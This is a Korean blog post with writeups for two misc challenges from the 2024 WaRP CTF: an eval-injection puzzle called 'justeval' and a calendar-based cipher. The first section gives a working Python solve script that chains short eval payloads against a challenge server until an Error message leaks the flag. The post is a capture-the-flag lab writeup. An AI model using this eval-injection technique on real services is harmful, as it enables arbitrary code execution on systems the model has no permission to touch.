CTF/writeup

2024 WaRP CTF writeup - misc

shielder 2025. 1. 6. 00:14
misc 2 출제

목차

  1. misc / justeval
    • 문제 설명
    • 익스플로잇 설계
    • dec.py
  2. misc / 10월 9일
    • 문제 설명
    • 익스플로잇

misc / justeval

문제설명

app.post('/', (req, res) => {
    const input_str = req.body.input_str.toString() || '';
    if (!input_str.includes('[') && !input_str.includes('')) {
        if (!input_str.includes('+') || input_str.split('+').slice(1).every(part => part.startsWith('='))) {
            if (input_str.length <= 6 && (eval(input_str) > 0) == false && (eval(input_str) == 0) == false && (eval(input_str) >= 0) == true) {
                res.redirect('/flag')
            }
        }
    }
    res.redirect('/');
});

JS is the best에서 큰 영감을 받은 문제이다. eval을 이용해서 flag를 읽는 문제이다. 그런데 조건이 많이 달려있다.

  1. [, ]를 포함하면 안 된다.
  2. + 바로 뒤에 =이 붙는 형식이 아니라면(+=), +를 쓸 수 없다.
  3. 길이는 6보다 작거나 같아야 한다.

익스플로잇 설계

throw new Error(flag) 를 작동시키는 것으로 방향성을 잡는다. eval(throw new Error(flag))로 Error에서 flag를 볼 수 있다. e=eval을 실행하면 e(), eval()이 같은 취급을 받는다. 편의를 위해 k=flag도 실행한다.
이제 string 변수 c에 payload를 붙이면 된다. c+='t'이런 식으로 만들 수 있다. 그런데 input_str이 c+='t'이면 eval(input_str) > 0이 false이므로 그 뒤 eval까지 실행되어 문자가 여러 번 붙여진다. 이는 b='t', c+=b;1로 해결할 수 있다. c+=b;1eval 실행 결과가 1이므로 eval(input_str) > 0이 true여서 다음 eval이 실행되지 않고 종료된다. 이렇게 payload를 구성하고 e(c) 해주면 된다.

dec.py

import requests
from tqdm import *

base_url = "http://host1.dreamhack.games:16332/"

data = {"input_str": "e=eval"}
response = requests.post(f"{base_url}", data=data)

data = {"input_str": "k=flag"}
response = requests.post(f"{base_url}", data=data)

payloads = list()
payloads.append('c=""')
payloadss = "throw new Error(k)"
for i in list(payloadss):
    payloads.append(f'b="{i}"')
    payloads.append('c+=b;1')

for payload in tqdm(payloads):
    data = {"input_str": payload}
    response = requests.post(f"{base_url}", data=data)

data = {"input_str": "e(c)"}
response = requests.post(f"{base_url}", data=data)
print(response.text)

misc / 10월 9일

문제 설명

12줄의 글자셋과 https://namu.wiki/w/현대 한글의 모든 글자가 제공된다.

익스플로잇

flag를 얻기 위해서는 두 과정이 필요하다. 첫 번째는 글자를 숫자로 바꾸는 작업, 두 번째는 숫자를 글자로 바꾸는 작업이다.
첫 번째 작업이다. 글자들의 오프셋을 가져오면 다음과 같다.

3 13 30 54 85 115 144 166 
25 43 47 52 58 71 83 94 113 140 
8 23 45 73 93 119 137 148 152 
30 59 81 96 113 129 137 138 140 143 
8 9 25 28 38 61 91 
15 23 24 26 36 53 77 107 136 158 
1 9 24 46 75 105 136 160 177 187 190 
26 53 81 102 116 123 129 134 146 165 
29 51 66 74 75 84 100 124 141 151 154 
31 61 90 112 127 135 136 
20 41 63 78 86 93 99 112 139 
3 5 13 28 50 80 111

하지만 이 상태에서는 아무것도 얻을 수 없다. 줄 별로 증가하는 수열임에 집중할 필요가 있다. 맨 앞에 0이 있다고 생각하고 인접한 숫자의 차이를 계산해주면 다음과 같다. 여기서 숫자로 변환하는 과정이 끝난다.

3 10 17 24 31 30 29 22 
25 18 4 5 6 13 12 11 19 27 
8 15 22 28 20 26 18 11 4 
30 29 22 15 17 16 8 1 2 3 
8 1 16 3 10 23 30 
15 8 1 2 10 17 24 30 29 22 
1 8 15 22 29 30 31 24 17 10 3 
26 27 28 21 14 7 6 5 12 19 
29 22 15 8 1 9 16 24 17 10 3 
31 30 29 22 15 8 1 
20 21 22 15 8 7 6 13 27 
3 2 8 15 22 30 31 

description의 2025년, 숫자가 모두 31 이하이며 12줄인 것에서 달력을 이용함을 떠올릴 수 있다. 각 월별로 위에부터 한 줄씩 매칭시키면 된다. 각 줄별로 숫자에 점을 찍어 주어진 순서대로 이어주면 한 글자씩 나타난다. 궁금하면 직접해보길 바란다.

'CTF > writeup' 카테고리의 다른 글

2025 codegate CTF quals writeup  (2) 2025.04.09
2025 SSU CTF writeup  (0) 2025.04.09
2024 WaRP CTF writeup - pwn  (0) 2025.01.05
2024 0xl4ughCTF writeup  (0) 2024.12.29
2024 BackdoorCTF writeup  (0) 2024.12.29